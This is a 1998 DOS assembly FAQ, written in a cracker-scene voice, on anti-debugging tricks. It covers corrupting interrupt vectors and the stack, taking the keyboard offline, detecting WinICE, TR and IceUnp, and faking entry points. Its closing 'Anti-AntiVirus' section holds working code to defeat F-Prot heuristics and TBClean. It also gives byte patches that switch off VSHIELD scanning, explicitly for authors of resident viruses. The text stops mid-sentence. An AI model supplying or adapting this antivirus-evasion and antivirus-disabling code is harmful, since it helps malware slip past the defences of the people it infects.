®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®® ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― INSIDER - FAQ Edition #6 UNComplete by Christoph Gabler Release Date : 10.09.98 ®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®®® ―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――― ΔΔΔΔΔΔ ΔΔΔΔΔΔ ΔΔΔ ΔΔΔ ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ ³ Introduction ³ ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ The INSIDER - FAQ is meant for people who want to make their programs more secure against unpacking/viewing or modifying. You can input the code shown below into any of your ASM source codes or into other languages which got a ASM support like C++ or Pascal. Furthermore is the INSIDER - FAQ meant for those who are interested in AntiDebugging or AntiTraceCode tricks against realmode or protectedmode debuggers/unpackers. Last but not least might the INSIDER - FAQ also be helpful for protector writers or crackers which want to learn how AntiDebugging tricks look like or how to bypass them with debuggers. Please remember that the best tricks can be found in the uncovered version of the INSIDER - FAQ. To get such version contact me by writing an EMail with comments about TRAP and things I could add into the next version or AntiDebugging code which can't be found in the current INSIDER - FAQ. ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ ³ Realmode Anti Debugging ³ ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ The following chapter describes ways how to crash/detect realmode debuggers or unpackers like TD or IUP. If we want to crash/detect a debugger we first have to know how they work. Most realmode tracers use INT1/3 to trace. If you point INT1 or INT3 to a corrupt area some stupid debuggers like TD get kicked. A better way is to insert code into INT1 and then afterwards restore it again. But CUP386 /1 and TR (with INT1) use there own interrupt table for these ints, so what to do against them? As ANY realmode debugger does not use its own stack, you can corrupt it and restore it after doing some instructions. Due the fact that we need the keyboard to trace but not to execute code we can also pull the keyboard off to make realmode tracers mad. The keyboard has two important hardware ports : 60h and 64h. Nuking those two ports will kick most of the debuggers out. Interrupt 9 is also used by the keyboard, so play arround with that too. Realmode debugger use/need the following things : - INT1,INT3 and INT10 - Keyboard (INT9,Port 60h and 64h) - Stack (SS and SP) ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Points INT1 to invalid area Ί Ί by Piotr Warezak (C) Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― INT1 can be either reset with INT21/AX=2501h or directly with MOV. INT1 is located at position 0000:0005. Old method to stop some realmode debuggers. ―― push ds ;save DS register xor ax,ax ;zero DS register mov ds,ax not word ptr ds:[0005] ;cut off INT1 vector for a moment jmp short j1 db 09ah j1: not word ptr ds:[0005] ;restore INT1 vector pop ds ;restore DS register ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Nice stack-trick 1 Ί Ί by Christoph Gabler Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― Here is just a possibility how to detect any realmode debuggers/unpacker. It is not very tight but to make it work everywhere I used some lines for compatibilty - they are actually not very important. It detects : CUP386 /1, TD, TD286, DEBUG and more... ―― CLI MOV DX,SP ; Save SP to DX. MOV CL,CS:BYTE PTR [00] ; Save the original 00. For 100% compatibilty. =8] MOV BL,CS:BYTE PTR [01] ; Same as above with 01. MOV CS:BYTE PTR [00],0CDh ; Write the normal values - just to make sure. MOV CS:BYTE PTR [01],020h ; Same as above with 01. MOV AX,10h ; The value 3 would crash debuggers directly. MOV SP,AX ; Corrupt the stack, now lame debugs modify 01. MOV SP,DX ; Restore SP. XOR AX,AX MOV AL,CS:BYTE PTR [01] ; Write the value back. MOV CS:BYTE PTR [00],CL ; Write 00/01 back. MOV CS:BYTE PTR [01],BL CMP AX,20h ; If not 20h then a realmode debugger is there. JNE $ ; Jump at current position. STI ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Nice stack-trick 2 Ί Ί by Christoph Gabler Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― Much tighter but much easier to find out how it works. Fills SS with my magic number (Most other numbers do not work). Of course only against realmode debuggers. ―― CLI MOV BX,SS ; Save SS to BX MOV DX,52121d ; Preparing DX for the corruption MOV SS,DX ; Corrupt SS with the help of DX / Hlts DEBUG XOR DX,DX MOV SS,BX ; Restore SS MOV BX,DX STI ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Nice stack-trick 3 Ί Ί by Christoph Gabler Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― This time all enhanced regs will be corrupted. A bit noughtier than the one above. ―― CLI MOV BX,DS ; Save DS in BX MOV SI,ES ; Save ES in CX MOV DX,52121d ; Preparing DX for the corruption MOV DX,SS ; Save SS in DX MOV DS,AX ; Write crap into DS MOV ES,DX ; Write crap into ES MOV SS,AX ; Write crap into SS MOV DS,BX ; Restore DS MOV ES,SI ; Restore ES MOV SS,DX ; Restore SS STI ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Nice stack-trick 4 Ί Ί by Christoph Gabler Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― The following code uses the stack to jump. Most realmode debugs get kicked at the SP-modify, to get every realmode tracer the JMP SP is included. This routine works best in addition with a decryption loop. ―― MOV AX,OFFSET JUMP_TO ; Get the position to jump to. MOV BX,SP ; Save SP to BX. MOV SP,AX ; Fill SP with the jump value. JMP SP ; Jump to the position. JUMP_TO: MOV SP,BX ; Restore SP. ―― Very common method to detect realmode tracers - often found in protectors. It stops: Debug,Turbo Debug,Realmode Debug... ―― PUSH AX POP AX DEC SP DEC SP POP BX ; BX should point to the pushed AX. CMP AX,BX JNE $ ; Kill Debugger if found. ―― Another wellknown and oftenseen stack trick. It stops: Debug,Turbo Debug,Realmode Debug... ―― CLI MOV AX,SP ; Save SP. MOV SP,3 ; Kick realmode debugger. NOP ; Do a cmd between corruption and restore. MOV SP,AX ; Restore SP. STI ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Fake entrypoint #1 Ί Ί by Christoph Gabler Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― Almost anyone has heard about fake entrypoints. They can be found in HS and RC to fool DECAY05 or in CS to fool CUP386. There are many other protectors in which such a entrypoint fake can be found. But how does it work? Pretty simple, the following code is such a routine. CUP386 and DECAY05 get fooled. You can place code before the routine and after the routine. ―― MOV CX,9000h ; Fake the entrypoint 9000h times. XOR DX,DX ; We must clear DX first. MOV DL,CS:BYTE PTR [100h] ; Save the byte found at 100h. MOV CS:BYTE PTR [100h],0C3h ; Write a RET to 100h. MOV AX,100h FAKE_ENTRY: CALL AX ; Call 100h. LOOP FAKE_ENTRY MOV CS:BYTE PTR [100h],DL ; Restore the byte we overwrote before. ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Fake entrypoint #2 Ί Ί by Christoph Gabler Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― Another possibility to fake some unpackers. This time it does not restore 100h and 101h - I think if you need the restore, you can do it yourself. ―― MOV CX,9000h ; Fake the entrypoint 9000h times. XOR DX,DX ; We must clear DX first. MOV DL,OFFSET THERE - 100h ; This is to generate the correct JMP back. ADD DX,100h ; Add 100h 'cause we jump there. MOV CS:BYTE PTR [100h],0FFh ; Write the jump command to 100h. MOV CS:BYTE PTR [101h],0E2h MOV AX,100h JMP AX ; Jump to 100h. THERE: CMP CX,0 ; If CX = 0 then we are done. JE OVER_FAKE DEC CX JMP AX ; Do it again. OVER_FAKE: ; Place the rest of your code here. ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Nuke Interrupt 1 Ί Ί By Christoph Gabler Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― Another Anti Realmode Debugger routine. Due the fact that most lame debugs use INT1 to trace you just need to point to an invalid area to crash the debuggers. TD uses INT1, TR (with INT1=On) uses INT1 too but seems to use its own one. INT1 is restored afterwards. ―― ; Kill and restore INT1 mov cx,es ; Save ES. mov di,ds ; Save DS. mov ax,3501h INT 21h push es bx ; Get INT1 and save it. mov ax,2501h xor dx,dx mov ds,dx int 21h ; Set INT1 to 0000:0000. pop bx es ; Pop the old values. mov dx,bx push es pop ds mov ax,2501h int 21h ; Restore INT1. mov es,cx ; Restore ES. mov ds,di ; Restore DS. ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Nuke Interrupt 1/3 Ί Ί By Christoph Gabler Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― This routine kills INT1 and INT3 but without using INT21. This method is very common and a similar version can be often found in protectors. CUP386 /1 does not loose the control - maybe it redirects INT1 and INT3. ―― PUSH ES CLI xor ax,ax mov es,ax ; Clear ES. mov bx,4 ; Position of INT1. mov ax,es:[bx] ; Get and save INT1. mov es:[bx],0FFFFh ; Corrupt INT1. add bx,2 ; Position of INT3. mov cx,es:[bx] ; Get and save INT3. mov es:[bx],0FFFFh ; Corrupt INT3. sub bx,2 mov es:[bx],ax add bx,2 mov es:[bx],cx STI POP ES ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Keyboard trick #1 Ί Ί by Christoph Gabler Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― By overflowing the keyboard port 64h many debugger reboot the CPU. Do this by sending a '0FEh' to hardware port 64h. The problem is that the port get overflowed and inactive under Windows95, which means that you cannot access 64h anymore and the result is a locked keyboard. ―― ; Get previos state and save it. IN AL,64h PUSH AX ; Reboot by sending 0FEh to port 64h. (Use 0ADh to deactivate) MOV AL,0FEh OUT 64h,AL ; Reactivate keyboard. (Does only work under DOS) POP AX OUT 64h,AL ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Keyboard trick #2 Ί Ί by Christoph Gabler Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― A much better trick is the following. Kicks most debugger but stays Windows95 compatible! Same port, other value. Trick foundout as I used 60h's lower value. ―― IN AL,64h ; Get current lower keyboard state. PUSH AX ; Save it. MOV AL,42h ; Windows compatible but as great as 0ADh. OUT 64h,AL ; Send the value to the main keyboard port. POP AX ; Restore the state we had. OUT 64h,AL ; Restore the main keyboard port. ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Irritation code Ί Ί by Christoph Gabler Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― A stupid little routine to irritate the tracer. Of course only usefull if you place a decryptor with a C3 in it, jump there and do other irritating things. This is just an example. ―― MOV DX,SP CALL POS JMP GO_ON POS: POP BX ; Get current position. CALL $+4 ; Call over the command, into C3. DB 04h,0C3h ; MOV AL,0C3h CALL $-1 ; Call back into C3. MOV [CS:00],AL ; Write a C3 into CS:00. ADD AL,03Dh ; Clear AL. MOV [CS:20C3h],0E3FFh ; Place a JMP BX to CS:20C3. JMP AX ; Jump to 00. GO_ON: MOV SP,DX ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Irritation macro Ί Ί by Christoph Gabler Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― 98% of HackStop's "AntiDebugging code" consists of lame macros. Macro's were meant for making reading/debugging of code difficult, everyone of course knowns that they are just joke (as HS itself ;). How do these marco's which were meant for irriatation work? The two instructions 'CALL FAR' and 'JUMP FAR' need 5 bytes of space for their working, that's why debuggers display the following 4 bytes as a 'CALL FAR' or 'JUMP FAR' instruction. So, what happens if we put a '0EAh' or a '09Ah' into our code? The following code will be displayed as the same instruction. If we now simply jump over the oppcode byte to avoid a crash we are done. The problem is that there are methods (of course top secret! ;) to get rid of these stupid macro's like: - NOP the oppcodes out Yeah, these waste of bytes are of course no antidebugging. Every debugger can bypass them, but why does Rose still use them every second in HS? Hmm, that might be a question you better ask Rose himself... ―― MACRO_LOOP: ; Use a loop because this might be interesting for decryptors JMP OVER_1 ; First fake jump over oppcode '0EAh' DB 0EAh ; The oppcode itself. OVER_1: NOP ; Do a cmd, insert your code here. JMP OVER_2 ; Second fake jump. DB 09Ah ; The oppcode itself. OVER_2: CALL OVER_3 ; CALLing instead of JuMPing works better against TR. NOP ; Do another fucky cmd. CALL OVER_4 ; Do it again. ('Cause lameness rules!) JMP OVER_6 ; And another time. DB 0EAh ; The oppcode itself. OVER_4: RET OVER_6: NOP JMP OVER_5 ; Jump a last time. DB 00,00,0EAh OVER_3: RET DB 00,00,00,09Ah OVER_5: LOOP MACRO_LOOP ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Screen AntiDebugging trick #1 Ί Ί by Christoph Gabler Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― Often seen in protectors like Ciphator,FSE05,ExeLock666,PCrypt... Should irritate the tracer but I think it irritates the user. :) Here's the tightest way I know - directly over hardware port 3C6h. ―― CLI MOV DX,3C6h ; Point to color area. IN AX,DX ; Get old settings. PUSH AX ; Save them. MOV AX,100h ; Value for black. OUT DX,AX ; Send to port. ; Place your Antidebugging Tricks here. POP AX ; Restore old settings. OUT DX,AX ; Send them to port. STI ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Screen AntiDebugging trick #2 Ί Ί ripped out of ExeLock666 Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― 'Legandary' way to flicker the screen. Found in Ciphator and ExeLock666... Turns whole screen off for a while. ―― ; Screen off. mov dx,03C4h mov al,1 out dx,al inc dx in al,dx or al,20h out dx,al ; Place your Antidebugging Tricks here. ; Screen on. mov dx,03C4h mov al,1 out dx,al inc dx in al,dx and al,dl out dx,al ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ ³ Protectedmode AntiDebugging ³ ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ Everyone knows them, every protector author fears them : PM Debuggers. ;) Much more difficult to detect/crash then 'normal' realmode debuggers. Number one might be Iceunp or Winice, which keep their own stack, mostly their own interrupts and full 8086-486+ emulation. TR 2.01 does not trace the code, it interprets every single instructions. Unknown instructions must be traced. TR uses INT1 to trace these instructions. Deglucker acts similar to CUP386 - full interrupt reemulation, but bad DRx/CRx emulation. CUP386 and GTR use asskicking keyboard routines which make keyboard-offs nearly impossible. Protectedmode debugger use/need the following things : - INT10 - Keyboard (INT9,Port 60h and 64h or 21h) - Sometimes DRx ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Winice recognization Ί Ί by ? Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― How to recognize Winice? The following routine shows how to do it. Stonehead told me that the routine hangs sometimes - I do not know, test it. Detects: Only Winice Win 3.1/Win95 NOT the Dos version. ―― ; Anti SoftIce trick #1 mov ax,01684h mov bx,0202h ; VXD ID for Winice, check out Ralf Brown's INTLIST xor di,di mov es,di int 2fh mov ax,es add di,ax cmp di,0 jne $ ―― The four following routines were send by somebody I met on IRC. I'm sorry but I forget his name. Anyway, hope you enjoy the following Anti Winice tricks. ―― ; Detect Winice #1 mov ebp, 'BCHK' ; use ice BoundsChecker interface mov ax, 04h int 3 cmp al,4 jz winicenotdetected ; Detect Winice #2 mov ah,43h int 68h ; winice has int 68h handler and returns following value cmp ax,0f386h jnz winicenotdetected ; Detect Winice #3 xor ax,ax mov es,ax mov bx, word ptr es:[68h*4] mov es, word ptr es:[68h*4+2] ; checking int 68h handler mov eax, 0f43fc80h cmp eax, dword ptr es:[ebx] jnz winicenotdetected ; Detect Winice #4 push cs pop es xor ax,ax mov es,ax mov bx, cs lea dx, int41handler xchg dx, es:[41h*4] xchg bx, es:[41h*4+2] in al, 40h xor cx,cx int 41h xchg dx, es:[41h*4] xchg bx, es:[41h*4+2] cmp cl,al jz winicenotpresent ―― Here is another way to get Winice. Credits go to DarkStalker. Works while executing INT41 which is used by Winice itself. ―― cli In Ax,40h Mov word ptr cs:[bp+keyval],Ax push 0 pop ds xor ebx,ebx mov bx,cs shl ebx,10h lea bx,[bp+newint2] xchg ebx,dword ptr ds:[41h*4] push ds cs pop ds Mov Ah,4Fh Int 41h pop ds XChg EBx,DWord Ptr Ds:[41h*4] Push Cs Pop Ds Cmp Ax,0000h keyval Equ $-2 Jne $ sti NewInt2: ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Anti Deglucker 0.04 code Ί Ί by Christoph Gabler Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― The following routine shows a possibility how to defeat DG with just 3 bytes. If you trace it with DG, a 'protection fault' will be displayed and you cannot continue. The problem is that you are still able to NOP the code out. ―― DB 66h,0FAh,0FBh ; Opcode 66h, CLI, STI here another little instruction which causes DG to display 'protection fault' : CMPSD ; Compare string or doubleword 386+ ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Mode Detections Ί Ί by different authors Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― Another nice section might be the detection of the different modes a CPU can be switched to. Here are ways of how to detect RealMode, ProtectedMode or Windows95. ―― ; Realmode detection by Christoph Gabler. mov eax,cr0 cmp eax,10h ; Compare CR0 with 10h, if so, we must be in realmode. je Real_Mode_Found ; Realmode detection by ELiCZ. SMSW AX ; Get Machine Status Word and store in AX. TEST AL,1 JE Real_Mode_Found ; Jump if CPU in Real Mode. ; Protected Mode (QEMM, EMM386...) detection by Christoph Gabler. mov eax,cr0 cmp al,1 je Protected_Mode_Found ; V86 (Windows 3.x and Windows 95) detection by Christoph Gabler. mov eax,cr0 cmp ax,0000 ; CPU is in Virtual 8086 mode if CR0 is 0000. je V86_Mode_Found ; Windows Detection detection by tHE riDDLER mov ax, 01600h int 02fh ; Check for available BP. or al,al jne Windows_Found ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Generic Anti TR 1.97 trick Ί Ί by Torsten Becker Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― Here is a nice way to stop TR. You can put the following two bytes before any other instruction like a NOP or a XOR... The problem is that TR is able to bypass when in INT1-mode. You are asking yourself how to hinder tracing it with INT1? Ask me for the uncovered INSIDER.FAQ. :) ―― DB 66h,67h ; Kicks TR 1.97 NOP ; Or any other command. ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί TR - unknown instruction listing Ί Ί by Christoph Gabler Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― The following source shows a few commands which cannot be traced with TR 1.97 without using INT1. Most instruction are unknown to TR and some simply hang TR when trying to trace them. Of course they are more or less useless if you can bypass them with INT1 but there are so MANY ways to get TR's INT1 - trace method : Cut INT1 before placing these instructions or play with the stack... ―― Instructions which are unknown to TR 1.97 : CLTS ; Clear Task Switched Flag 286+ privileged mode JECXZ LABEL ; Jump to LABEL if ECX zero 386+ BSR EAX,EBX ; Bit Scan Reverse 386+ BSF EAX,EBX ; Bit Scan Forward 386+ CMPXCHG EAX,EBX ; Compare and Exchange 486+ BSWAP EAX ; Byteswap 486+ ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Cheap IceUnp detection Ί Ί by Christoph Gabler Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― IceUnp uses good trace modes but the coder forgot one really dumb thing : His program does always use the same temporary file that is created before the Iceunp traced the file - a very stupid mistake because Iceunp can be detected while just searching the temp file called '1ICEUNP' Here is a method how to do it. > This one is cheap too. Get a REAL IceUnp detection in the UNcovered version of INSIDER.FAQ ! ―― mov ah,4Eh ; Find the first match mov dx,offset ICETEMP ; Load the offset filemask dx int 21h ; Call DOS jnc $ ; Jump at current pos. if 1ICEUNP found. ; Rest of your code ICETEMP db '1ICEUNP',0 ; This must be placed out of range. ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί 32 Bit Control- & Debug Register FAQ Ί Ί By Christoph Gabler (C) Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― The following section should complain the working and function of the 32 Bit Control and Debug registers which can used to detect nearly ANY 80386 Debugger/GenericUnpacker. This short FAQ should describe what the CPU and Debugger does when it executes modification on DRx/CRx. If you know anything more about these registers please write it down and I'll add it here! ―― (1) - The following 'enhanced' 32 Bit registers exist : [CRx] Control Registers (Modifications are QEMM incompatible) CR0,CR2,CR3 [DRx] Debug Registers DR0,DR1,DR2,DR3,(DR4),DR5,DR6,DR7 [TRx] Test Registers TR4,TR5,TR6,TR7 (2) - Description/function of the single register : CR0 = Should not be set to a value over ca. 7000h -> CPU/Debug reboots. With CR0 CUP386 /7 can be detected. Iceunp/TR can be kicked with modification. Mostly incompatible with QEMM. CR2 = Should not be modified, crashs on Cyrix. CR3 = ANY modification under EMM386 causes an error -> Press Return to reboot the system. DR4 = TASM is not able to compile it but it can be manually compiled and works : DB 0Fh,21h,0E0h DR6 = After every executation DR6 is restored to the value of DR4. DR5 = A very nice way to get GTR 1.90 is the modification over 2000. Same value as DR7. DR7 = Main debug register. Normal is DR7 = 400 If modified, other DRx registers will be changed too. TR4-TR7 = May not be accessed directly -> CPU hangs. (3) - Which values they are able to hold : CR0 = Handles values till ca. 2000h, adds 10h to itself if modified CR2-CR3 = Should not be accessed, values are same as they were set to DR0-DR5 = Handles 32 bit values, the fourth position is always a zero DR6 = Handles 32 bit values, behaves different from OS to OS DR7 = Handles 32 bit values, adds either 400h or 00 to itself if modified, the fourth position is always a zero Important : Any CR0 modification can't be executed under QEMM. A 'exception error #13' follows then. QEMM tells us that this error appears because code with modified CR0 hangs - a stupid joke! Stupid because *I* had to rewrite TRAP so that QEMM doesn't get 'angry'. If you want your progs QEMM-compatible you can write a easy QEMM detection : Check if CR0 has the value 11h, if so jump over the CR0 modification. Works only if the debugger/tracer does not work under QEMM and EMM386 of course. (4) - The emulation listing of todays most Generic Unpackers : CUP386 /3 = Tracing seems to be the same as GTR uses. Very bad DR7 emulation. Traces through LOCK/HLT ?!? CUP386 /7 = Similar to the method Iceunp uses. Very bad CR0 emulation. Traces through LOCK/HLT ?!? GTR 1.A1 = Enhanced emulation since the last version. Stabilty was VERY increased : Reboot-detect and great error detection. IceUnp = The *VERY BEST* 32B register emulation but can be defeated with CR0 modification. TR 1.92 = Good emulation but with DR2 TR can be easily detected. 'MOV E(A)X,DR3' hangs TR 1.92 ?!? TR 1.97 = LiuTaoTao, DR7/CR0/FS and GS are changed after every instruction. The new TR handles them as they would be 'normal' registers like EAX,EBX... TR 1.20 = Very nice DRx,CRx emulations now! But still not as good as Iceunp's DRx emulation. Anyway, best DOS debugger! 1.97 but has still many bugs and wrong emulations. AUP386 = Very difficult to say because this 'unpacker' is SO full of bugs -> Hangs the most time... But hey! - I could unpack PKLite ! =8] DECAY05 = Does not trace, but searchs for the entrypoint. ROSE showed some possibilities to fool DECAY05 (HS,RC286...) But therefor DECAY05 has a '/A' switch to unpack it automatically. TRAP detects DECAY05 and reboots the CPU if found because DECAY05 has many bugs with which it can be detected... ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ ³ Anti-AntiVirus Code ³ ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Anti F-Prot Heuristic Ί Ί By someone at Crypt ?? Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― A very popular routine to avoid F-Prot's Heuristic Analysis. I think it's a dumb waste of space using it - I have something better - watch at TOP SECRETS!. Poor F-Prot, if it can be avoided by just jumping forwards a few times. =8] ―― call screw_fprot ; confusing f-protect's call screw_fprot ; heuristic scanning call screw_fprot ; Still effective as of call screw_fprot ; version 2.10 call screw_fprot ; call screw_fprot ; [cf] Crypt Newsletter 18 call screw_fprot ; for explanation & call screw_fprot ; rationale call screw_fprot ; call screw_fprot ; screw_fprot: jmp $ + 2 ; Pseudo-nested calls to confuse call screw2 ; f-protect's heuristic call screw2 ; analysis call screw2 ; call screw2 ; call screw2 ; These are straight from ret ; YB-X. screw2: jmp $ + 2 call screw3 call screw3 call screw3 call screw3 call screw3 ret screw3: jmp $ + 2 call screw4 call screw4 call screw4 call screw4 call screw4 ret screw4: jmp $ + 2 ret ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Anti TBClean routine Ί Ί By someone at Crypt ??? Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― Here is THE popularest routine to stop TBClean. It is very big in size and it sucks 'cause TBClean can be stopped with 'CLI and STI'. ―― look_4_tbclean: mov ax, word ptr ds:[si] xor ax, 0A5F3h je check_it ; Jump If It's TBClean look_again: inc si ; Continue Search loop look_4_tbclean jmp not_found ; TBClean Not Found check_it: mov ax, word ptr ds:[si+4] xor ax, 0006h jne look_again mov ax, word ptr ds:[si+10] xor ax, 020Eh jne look_again mov ax, word ptr ds:[si+12] xor ax, 0C700h jne look_again mov ax, word ptr ds:[si+14] xor ax, 406h jne look_again mov bx, word ptr ds:[si+17] ; Steal REAL Int 1 Offset mov byte ptr ds:[bx+16], 0CFh ; Replace With IRET mov bx, word ptr ds:[si+27] ; Steal REAL Int 3 Offset mov byte ptr ds:[bx+16], 0CFh ; Replece With IRET mov byte ptr cs:[tb_here][bp], 1 ; Set The TB Flag On mov bx, word ptr ds:[si+51h] ; Get 2nd Segment of mov word ptr cs:[tb_int2][bp], bx ; Vector Table mov bx, word ptr ds:[si-5] ; Get Offset of 1st Copy mov word ptr cs:[tb_ints][bp], bx ; of Vector Table not_found: mov ax, 0CA00h ; Exit It TBSCANX In Mem mov bx, 'TB' int 2Fh cmp al, 0 je tbcleanok ret tbcleanok: ΦΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ· Ί Patching Memoryresident AVs Ί Ί By MnemoniX (C) Ί ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ ―― This big section was taken from a MnemoniX Anti-AV magazine. It 'only' describes how to kill AV progs that are resident in mem. Use it if you make resident viruses. ―― PATCHING VSHIELD This patch will prevent VSHIELD from detecting any viruses. This was tested on VSHIELD V106 - an old version - and probably will not work on every version, but what the hell. There is a portion of the code which looks like this: 80 FC 0E cmp ah,0E 74 06 je 0A1C 80 FC 4B cmp ah,4B 74 09 je 0A24 To fix this up, you can : replace the first byte (80) with CB (a RET) OR replace the second JZ (74 09) with two NOP's (90 90) Either way VSHIELD will no longer scan files as they are executed. How can you get the original host program past VSHIELD, before VSHIELD has been patched? Just encrypt it or PKLITE it. Simple enough. **************************************************** * VSAFE versions 1 and 2 (Central Point/Microsoft) * **************************************************** While VSAFE 1.0 was conquered a long time ago, not much seems to have been done to hack VSAFE 2. Making a virus or hacked program VSAFE-resistant will make it much more viable, since it is a popular AV monitor. The old tricks that could be played on VSAFE 1 (which was pure crapware) no longer work like they used to. Here is what I was able to find though a little bit of investigation ... (BTW, this was tested on MSAV 1.0 and CPAV 2.2. It should be similar for other versions except where noted.) Firstly, as with all versions, one can check for the presence of VSAFE in memory with the following code: mov ax,0FA00h mov dx,5945h ("VS") int 16h If DI = 4559h ("SV"), VSAFE is present. Functions 